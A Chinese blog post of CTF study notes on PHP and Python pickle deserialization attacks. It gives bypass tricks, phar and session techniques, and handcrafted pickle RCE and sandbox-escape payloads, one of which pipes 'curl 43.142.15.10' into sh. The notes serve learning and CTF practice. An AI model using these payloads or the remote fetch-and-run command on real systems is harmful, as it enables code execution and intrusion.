反序列化

php反序列化

1.常规构造POP链反序列化

0x01 字符逃逸型

1.字符增加型

需要一个可控点即可

O:4:"test":0:{s:4:"name";s:25:"aaaaaaaaaaaaaaaaaaaaa";s:4:"name";s:4:"test";}";}  

例:ctfshow 2020年新春战“疫”—网络安全公益赛 web2

2.字符减少型

需要至少两个可控点

O:4:"test":0:{s:4:"testaaaaaaaa";s:25:"";s:4:"root";s:4:"root";}";}  

ctfshow 新春欢乐赛 web6

0x02绕过__wakeup

版本要求

PHP5 < 5.6.25
PHP7 < 7.0.10

将序列化后对象的属性个数改大即可绕过__wakeup

新春欢乐赛 web7

0x03绕过正则

  if (preg_match('/^O:\d+/',$data)){
       die('you lose!');
}

①将对象放到数组中,序列化后,以a开头

②在php较低版本,可在O后的字符前加数字

③利用php内置的实现serializable的类绕过,序列化后以C开头

脚本

$classes = get_declared_classes();
$implementsIModule = array();
foreach ($classes as $klass) {
   $reflect = new ReflectionClass($klass);
   if ($reflect->implementsInterface('Serializable'))
       $implementsIModule[] = $klass;
}
foreach ($implementsIModule as $c) {
   echo $c."\n";
}

 

0x04绕过关键字

①php7.1+反序列化对类属性不敏感

class test
{
   private $name = "whoami";
   public function __destruct()
  {
       echo $this->name;
  }
}
echo serialize(new test());
unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
#输出 root

②当字符串标识符从s改为S,可用16进制绕过。

上例中

unserialize('O:4:"test":1:{s:4:"name";s:4:"root";}');
<==>  
unserialize('O:4:"test":1:{S:4:"\6eame";s:4:"root";}');  

③php类的大小写不敏感

0x05绕过异常处理

将对象放入数组(如数组a中)的第一个元素中,第二个元素放null,对数组进行序列化,将数组的下标1改为0。即将对象所在的地址置空,也就提前进行__destruct了。

ctfshow 卷王杯 easy unserialize

2.phar反序列化

....构造pop链
$a = new A();
$phar = new Phar("hack.phar");
$phar->startBuffering();
//填充 Stub  
$phar->setStub( 文件头+"<?php __HALT_COMPILER(); ?\>");
//Meta
$phar->setMetadata($a);
//这里写不写应该是无所谓的无所谓
//填充压缩文件
$phar->addFromString("123.txt", "123456");
//结束后会自动前面
$phar->stopBuffering();

0x01绕过phar头

compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
zlib:phar://
phar://

 

0x02对文件内容限制

①用gzip压缩

gzip hack.phar

②将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过

$phar_file = serialize($exp);
echo $phar_file;
$zip = new ZipArchive();
$res = $zip->open('1.zip',ZipArchive::CREATE);
$zip->addFromString('1.txt', 'file content goes here');
$zip->setArchiveComment($phar_file);$zip->close();

0x03修改签名

from hashlib import sha1

with open('hack.phar', 'rb') as file:    
   f = file.read()    
   # 修改内容后的phar文件,以二进制文件形式打开
   s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
   h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
   newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newPhar.phar', 'wb') as file:    
   file.write(newf) # 写入新文件

0x04可触发phar的函数

https://blog.zsxsoft.com/post/38

 

3.session反序列化

搞清楚格式几种session反序列化的格式

php                 session格式: |php序列化值的部分,以 | 为分隔符       如  limit|i:1           
php_serialize       session格式: serialize函数序列化后的结果(数组形式)     如  a:1:{s:5:"limit";i:1;}
php_binary          session格式: 键对应的ASCII字符()+键名+php序列化值的部分, 如  •limiti:1;

session.serialize_handler

ctfshow 一切看起来都那么合情合理

session.upload_progress+session.serialize_handler

任意session篡改。

注意几个配置

session.upload_progress.prefix

session.upload_progress.cleanup

session.upload_progress.enabled

session.upload_progress 文件包含

ctfshow 新手杯 石头剪刀布

python反序列化

学习参考链接

1.https://www.zhihu.com/tardis/sogou/art/89132768

2.https://xz.aliyun.com/t/12367#toc-0

3.https://tttang.com/archive/1782/#toc_

直接调试pickle的源代码,会理解快点。

1.函数执行

0x01指令码R

    def load_reduce(self):
       stack = self.stack
       args = stack.pop()
       func = stack[-1]
       stack[-1] = func(*args)

复制当前栈信息,弹出的第一个做参数,之后的栈顶做被调用函数。

实现__reduce__魔术方法,生成的序列化值中便有R指令码。(当然也可以自己手搓)

例如:

class test:

   def __init__(self):
       self.date = "aaaa"

   def __reduce__(self):
       return (os.system, ("whoami", ))


a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
#b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

反序列化时

1 .读取 \x80 ,调用 load_proto ,再读取一个字节,指明几号协议

2.读取c (功能相当于import) ,读取两行(\n结尾)字符串,这里是ntsystem。即在nt模块查找system函数,并压入栈中

3.读取X,读取4字节,指明数据大小(这里为6字节),然后读取对应大小的内容,压入栈中。

4.读取\x85,将栈顶的一个元素组装成元组。(因为R需要栈顶为一个元组)

5.读取R,弹出栈顶,然后以其做为参数,以此时栈顶做为被调用函数,将执行结果写入栈顶

6.读取.结束

0x02指令码b

先理解一个普通的类是如何进行反序列化的

class test:

   def __init__(self):
       self.list = ["this", "is", "a", "list"]
       self.int = 14333223
       self.dict = {"get": "flag"}
       self.str = "this_is_flag"


a = pickletools.optimize(pickle.dumps(test(), 3))
print(a)
pickletools.dis(a)
pickle.loads(a)
b"\x80\x03c__main__\ntest\n)\x81}(X\x04\x00\x00\x00listq\x00](X\x04\x00\x00\x00thisX\x02\x00\x00\x00isX\x01\x00\x00\x00ah\x00eX\x03\x00\x00\x00intJ'\xb5\xda\x00X\x04\x00\x00\x00dict}X\x03\x00\x00\x00getX\x04\x00\x00\x00flagsX\x03\x00\x00\x00strX\x0c\x00\x00\x00this_is_flagub."

1.\x80同上

2.读取c, 得到类 test,压入栈。

3.读取) 压入一个空tuple

4.读取\x81弹出栈顶的两个元素,即test类和一个空的tuple 。之后实例化,入栈

5.读取}压入一个空dict

6.读取(,将当前栈所有信息压入前序栈(metastack),将当前栈置空 可以理解为类似一个函数调用的过程。

X操作码都跳过

7.读取q,将list压入memo中,索引为0

8.读取] ,压入一个空list(可以发现,如果是右半部分,就是对应的类型)

9.再次(

10.读取h,压入memo中的索引0 (可能是看到遇到有重复的就存到内存里了)

11.读取e . 先调用pop_mark。 复制当前栈信息给items,从前序栈中弹出之前压入的栈 赋值给 当前栈,返回items

items装到之前压入的空list

  1. 读取J压入4字节有符号int

  2. 读取}压入dict

  3. 读取s弹出栈顶的两个元素,压入空的dict

  4. 读取u. 调用pop_mark, 两个一组压入组装成字典。

  5. 读取b,弹出属性,赋值给state,将对象赋值给inst. 如果对象存在__setstate__,则将属性做为参数应用于改方法。

    如果不存在。将属性赋值到对象上(此时对象上才有了属性)。

    image-20230413204704520

    17.读取. over

(写了很多没用的,主要是熟悉一下)

如果将__setstate__的值赋值为os.system,然后build一次,此时类便有了__setstate__方法,然后再次调用build,就可以触发rce了。

所以,我们可以将序列化的值改为。

b"\x80\x03c__main__\ntest\n)\x81}(X\x0C\x00\x00\x00__setstate__cos\nsystem\nubX\x16\x00\x00\x00curl 43.142.15.10 | shb."

反序列化后成功执行

image-20230413211708642

0x03指令码i

 #指令码i   
   def load_inst(self):
       module = self.readline()[:-1].decode("ascii")
       name = self.readline()[:-1].decode("ascii")
       klass = self.find_class(module, name)
       self._instantiate(klass, self.pop_mark())

读取两个行字符串。找到该类。调用_instantiate.跟进_instantiate

    def _instantiate(self, klass, args):
       if (args or not isinstance(klass, type)
               or hasattr(klass, "__getinitargs__")):
           try:
               value = klass(*args)
           except TypeError as err:
               raise TypeError(
                   "in constructor for %s: %s" % (klass.__name__, str(err)),
                   sys.exc_info()[2])
       else:
           value = klass.__new__(klass)
       self.append(value)
       

pop_mark()返回的是当前栈的信息,故只需要在调用i指令前,写个字符串参数即可

稍微修改下payload即可。

b"\x80\x03c__main__\ntest\n)\x81}(X\x06\x00\x00\x00whoamiios\nsystem\n."

0x04指令码o

    def load_obj(self):
       # Stack is ... markobject classobject arg1 arg2 ...
       args = self.pop_mark()
       cls = args.pop(0)
       self._instantiate(cls, args)

类似指令i,再稍微修改一下

b"\x80\x03c__main__\ntest\n)\x81}(cos\nsystem\nX\x06\x00\x00\x00whoamio."

image-20230413214904066

  #操作码b  
   def load_build(self):
       stack = self.stack
       state = stack.pop()
       inst = stack[-1]
       setstate = getattr(inst, "__setstate__", None)
       if setstate is not None:
           setstate(state)
           return
       slotstate = None
       if isinstance(state, tuple) and len(state) == 2:
           state, slotstate = state
       if state:
           inst_dict = inst.__dict__
           intern = sys.intern
           for k, v in state.items():
               if type(k) is str:
                   inst_dict[intern(k)] = v
               else:
                   inst_dict[k] = v
       if slotstate:
           for k, v in slotstate.items():
               setattr(inst, k, v)

 

    def pop_mark(self):
       items = self.stack
       self.stack = self.metastack.pop()
       self.append = self.stack.append
       return items
#指令码 s
   def load_setitem(self):
       stack = self.stack
       value = stack.pop()
       key = stack.pop()
       dict = stack[-1]
       dict[key] = value

 

 #指令码 e
   def load_appends(self):
       items = self.pop_mark()
       list_obj = self.stack[-1]
       try:
           extend = list_obj.extend
       except AttributeError:
           pass
       else:
           extend(items)
           return
       # Even if the PEP 307 requires extend() and append() methods,
       # fall back on append() if the object has no extend() method
       # for backward compatibility.
       append = list_obj.append
       for item in items:
           append(item)

 

#指令码 \x81
   def load_newobj(self):
       args = self.stack.pop()
       cls = self.stack.pop()
       obj = cls.__new__(cls, *args)
       self.append(obj)

 

#指令码  (
   def load_mark(self):
       self.metastack.append(self.stack)
       self.stack = []
       self.append = self.stack.append

 

#指令码 \x85 
   def load_tuple1(self):
self.stack[-1] = (self.stack[-1], )
#指令码 c
def load_global(self):
       module = self.readline()[:-1].decode("utf-8")  #最后一个是换行 module名称
       name = self.readline()[:-1].decode("utf-8")  #再读取一个
       klass = self.find_class(module, name)
       self.append(klass)
#指令码 t
def load_tuple(self):
       items = self.pop_mark()
       self.append(tuple(items))

 

2.变量覆盖

picker.py中有一个变量 key=whoami。利用类似的思路,可以将其覆盖

image-20230413233848291

\x80\x03c__main__\n

以上是修改了其他模块的变量,当然也可以修改当前模块的变量

image-20230414165502012

引入builtins.globals,压入一个空的tuple,然后用R指定调用,以字典的形式返回当前模块的全局变量。再写入两个字符串,一个是key,一个是value,最后用s指令修改dict

3.绕过

0x01绕过函数黑名单

参考 p神 https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

在只能调用 builtins模块的情况下,可以用其 getattrglobals等函数,得到eval函数,然后进行代码执行.

payload

 _loads( b'''\x80\x03cbuiltins\ngetattr\n(cbuiltins\ndict\nX\x03\x00\x00\x00gettR(cbuiltins\nglobals\n(tRX\x0C\x00\x00\x00__builtins__tRp1\ncbuiltins\ngetattr\n(g1\nX\x04\x00\x00\x00evaltR(X\x13\x00\x00\x00os.system('whoami')tR.''')

简单说下干了什么

1.引入getattr函数,压入前序栈

2.引入dict函数 ,引入字符串get

3.将dict函数和get组装成tuple,前序栈弹出getattr函数.调用getattr(*(dict,'get')) 得到dict.get函数,压入前序栈

4.调用globals函数,以字典形式返回全部变量.(其中有__builtins__模块),引入__builtins__字符串.

5.同上 调用 dict.get(builtins,"__builtins__")函数,得到builtins模块. 将其压入内存栈

6.在引入getattr函数,压入前序栈

7.将内存栈中的引入builtins模块,再引入 eval字符串.

8.调用getattr(builtins,"eval"),得到 eval函数,压入前序栈

9.写代码,最后调用eval.

0x02绕过关键字

压入字符串时,S可使用16进制绕过,V可使用unicode绕过

4.相关题目

[CISCN2019 华北赛区 Day1 Web2]ikun

注意是python2的环境,需要生成python2能解析的payload

....

posted @ 2023-06-19 13:55  cyyyyi  阅读(166)  评论(0编辑  收藏  举报